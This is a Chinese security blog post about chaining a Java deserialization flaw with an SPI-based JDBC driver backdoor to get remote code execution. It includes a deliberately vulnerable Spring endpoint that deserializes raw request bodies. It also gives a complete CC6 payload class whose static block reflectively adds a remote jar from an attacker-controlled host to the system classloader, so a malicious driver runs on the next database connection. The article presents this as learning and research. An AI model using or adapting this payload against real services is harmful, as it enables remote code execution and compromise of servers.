通过反序列化利用JDBC后门
2022-11-14 10:59:0 Author: xz.aliyun.com(查看原文) 阅读量:30 收藏

前言

前几天学习了pyn3rd师傅的从SPI机制到JDBC后门实现一文

主要是的思路是利用的SPI机制,进行的RCE, 主要是在DriverManager类中能够通过SPI机制获取classpath下所有jar包的的META-INF/services/java.sql.Driver中的类对象

之后在获取其中的JDBC实现类的时候,使用的是Class.forname进行类的获取

所以,师傅的思路就是构造了一个恶意的jar包,在java.sql.Driver文件下指向我们实现的恶意类,因为在使用Class.forname加载类的时候,将会触发他的static代码块,所以我们可以在static下实现我们的意类逻辑

但是,在师傅的文章中,是在本机进行实验的,直接将构造的恶意jar包手动添加进入classpath下

我这里进行了简单的改造,通过反序列化漏洞作为入口,动态的添加远程jar包进入运行程序的classpath中,之后在进行JDBC连接的时候触发恶意逻辑

回顾

其他的师傅都说的很详细,我这里主要是学习一下具体的SPI实现

在使用DriverManager.getConnection方法建立数据的连接中,首先会初始化DriverManager类对象

将会触发他的static代码块

注释中也存在有解释,加载初始化的JDBC驱动,之后使用 ServiceLoader机制

体现在代码中就是调用了loadInitialDrivers

主要是通过classloader得到所有的驱动,调用了ServiceLoader.load(Driver.class)方法进行获取

使用当前线程的上下文加载器,获取到service的loader

ServiceLoader.load方法的调用过程中创建了一个ServiceLoader对象

在其构造方法中,调用reload方法进行重新加载

之后回到了loadInitialDrivers方法的调用

加载所有的服务

可以跟进到ServiceLoader#hasNextService方法中

将需要发现的服务添加进入了URLClassPath中进行寻找

在加载对应的服务主要是在ServiceLoader#nextService方法中

这一小部分的调用栈为:

nextService:370, ServiceLoader$LazyIterator (java.util)
next:404, ServiceLoader$LazyIterator (java.util)
next:480, ServiceLoader$1 (java.util)
run:603, DriverManager$2 (java.sql)
run:583, DriverManager$2 (java.sql)
doPrivileged:-1, AccessController (java.security)
loadInitialDrivers:583, DriverManager (java.sql)
<clinit>:101, DriverManager (java.sql)
test:29, TestController (com.roboterh.vuln.controller)

反序列化漏洞利用

环境搭建

这里我使用的环境是

  1. springboot 2.5.0

  2. <dependency>
        <groupId>org.postgresql</groupId>
        <artifactId>postgresql</artifactId>
        <version>42.2.23</version>
    </dependency>
    <dependency>
        <groupId>mysql</groupId>
        <artifactId>mysql-connector-java</artifactId>
        <version>8.0.30</version>
    </dependency>
    

反序列化入口

@Controller
public class CommonsCollectionsVuln {
    @ResponseBody
    @RequestMapping("/unser")
    public void unserialize(HttpServletRequest request, HttpServletResponse response) throws Exception {
        java.io.InputStream inputStream =  request.getInputStream();
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        objectInputStream.readObject();
        response.getWriter().println("successfully!!!");
    }

    @ResponseBody
    @RequestMapping("/demo")
    public void demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
        response.getWriter().println("This is a Demo!!!");
    }
}

创建了一个进行数据库连接的接口

@RequestMapping("/createSql")
    public void test() {
        try {
            Connection connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/test", "root", "root");
            Statement statement = connection.createStatement();
            String sql = "select * from user";
            ResultSet resultSet = statement.executeQuery(sql);
            while (resultSet.next()) {
                System.out.println("id==>" + resultSet.getInt(1));
                System.out.println("name==>" + resultSet.getString(2));
            }
        } catch (SQLException e) {
            e.printStackTrace();
        }
    }
}

加载远程jar包

首先就是构造一个恶意的jar包

之后就是使用URLClassLoader加载远程jar包

我这里使用的是CC6进行反序列化利用,需要继承AbstractTranslet

package pers.cc;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

public class loadJar extends AbstractTranslet {

    static {
        String url = "http://172.27.17.8:8888/EvilJar.jar";
        try {
            URL url1 = new URL(url);
            // 获取类加载器的addURL方法
            Class<?> aClass = Class.forName("java.net.URLClassLoader");
            Method addURL = aClass.getDeclaredMethod("addURL", URL.class);
            addURL.setAccessible(true);

            // 获取系统类加载器
            URLClassLoader systemClassLoader = (URLClassLoader) ClassLoader.getSystemClassLoader();
            addURL.invoke(systemClassLoader, url1);
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

值得注意的是为了更好的显示是否成功加载远程的恶意jar包,我在loadJar类中添加了如下代码

try {
    Class<?> aClass1 = Class.forName("com.mysql.fake.jdbc.FakeDriver");
    System.out.println("Class loaded!");
} catch (ClassNotFoundException e) {
    System.out.println("Class not found!");
}

之后就是运行漏洞环境,发送序列化数据

我们可以在控制台中知道能够成功加载

触发漏洞

在将远程jar包添加进入了classpath之后,尝试进行JDBC连接触发漏洞

能够通过反序列化的方式进行这种方式的利用


文章来源: https://xz.aliyun.com/t/11837
如有侵权请联系:admin#unsafe.sh